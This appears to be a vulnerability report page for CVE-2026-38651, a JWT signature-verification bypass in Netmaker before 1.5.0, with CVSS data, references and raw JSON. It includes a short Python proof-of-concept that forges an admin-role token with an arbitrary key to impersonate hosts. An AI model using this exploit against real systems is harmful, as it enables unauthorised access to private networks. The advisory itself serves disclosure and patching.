Security Vulnerability Report
中文
CVE-2026-38651 CVSS 8.2 HIGH

CVE-2026-38651

Published: 2026-04-28 16:16:13
Last Modified: 2026-05-18 16:41:11

Description

Authentication Bypass vulnerability exists in Netmaker versions prior to 1.5.0. The VerifyHostToken function in logic/jwts.go fails to validate the JWT signature when verifying host tokens. An attacker can forge a JWT signed with any arbitrary key and use it to impersonate any host in the network, gaining access to sensitive information

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:netmaker:netmaker:*:*:*:*:*:*:*:* - VULNERABLE
Netmaker < 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import jwt import requests # Exploit for CVE-2026-38651: Netmaker JWT Signature Bypass # The server fails to verify the signature, so we can use any secret. target_url = "http://target-netmaker-url/api/v1/endpoint" # Example endpoint # Payload to impersonate a specific host/network node # Modify these values based on the target host you wish to impersonate payload = { "id": "target_host_id", # The ID of the host to impersonate "network": "target_network", "role": "admin" } # Generate token with a dummy secret (signature verification is skipped) fake_secret = "any_arbitrary_key" token = jwt.encode(payload, fake_secret, algorithm="HS256") headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Send request to bypass authentication try: response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38651", "sourceIdentifier": "[email protected]", "published": "2026-04-28T16:16:13.443", "lastModified": "2026-05-18T16:41:10.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass vulnerability exists in Netmaker versions prior to 1.5.0. The VerifyHostToken function in logic/jwts.go fails to validate the JWT signature when verifying host tokens. An attacker can forge a JWT signed with any arbitrary key and use it to impersonate any host in the network, gaining access to sensitive information"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netmaker:netmaker:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.0", "matchCriteriaId": "B8374AB6-A9C4-41F7-955E-65C91564EFA6"}]}]}], "references": [{"url": "https://github.com/gravitl/netmaker/commit/5309aa70d464ef565911369714d661a61481a79b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zyenra.com/advisories/netmaker-jwt-verification-bypass", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zyenra.com/blog/netmaker-jwt-verification-bypass", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zyenra.com/advisories/netmaker-jwt-verification-bypass/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zyenra.com/blog/netmaker-jwt-verification-bypass", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}